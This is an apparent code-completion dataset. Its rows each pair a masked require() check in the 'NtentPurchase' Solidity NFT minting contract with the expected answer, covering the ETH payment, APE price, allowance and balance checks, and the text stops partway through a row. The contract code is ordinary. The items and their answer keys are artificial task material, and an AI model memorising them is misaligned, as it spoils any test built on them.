/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 tokenPrice = ntentContract.getPricePerTokenInWei(_projectId);
require(<FILL_ME>)
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| tokenPrice.mul(_numberOfTokens)<=msg.value,"Ether value sent is not correct" | 243,850 | tokenPrice.mul(_numberOfTokens)<=msg.value |
"Ape Price Not Set" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(<FILL_ME>)
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectApePrice[_projectId].mul(_numberOfTokens);
require(
ape.allowance(msg.sender, address(this)) >= cost,
"APE Allowance Not Enough"
);
require(
ape.balanceOf(msg.sender) >= cost,
"Not enough APE sent"
);
ape.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| projectApePrice[_projectId]>0,"Ape Price Not Set" | 243,850 | projectApePrice[_projectId]>0 |
"APE Allowance Not Enough" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(projectApePrice[_projectId] > 0, "Ape Price Not Set");
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectApePrice[_projectId].mul(_numberOfTokens);
require(<FILL_ME>)
require(
ape.balanceOf(msg.sender) >= cost,
"Not enough APE sent"
);
ape.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| ape.allowance(msg.sender,address(this))>=cost,"APE Allowance Not Enough" | 243,850 | ape.allowance(msg.sender,address(this))>=cost |
"Not enough APE sent" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(projectApePrice[_projectId] > 0, "Ape Price Not Set");
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectApePrice[_projectId].mul(_numberOfTokens);
require(
ape.allowance(msg.sender, address(this)) >= cost,
"APE Allowance Not Enough"
);
require(<FILL_ME>)
ape.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| ape.balanceOf(msg.sender)>=cost,"Not enough APE sent" | 243,850 | ape.balanceOf(msg.sender)>=cost |
"Gang Price Not Set" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
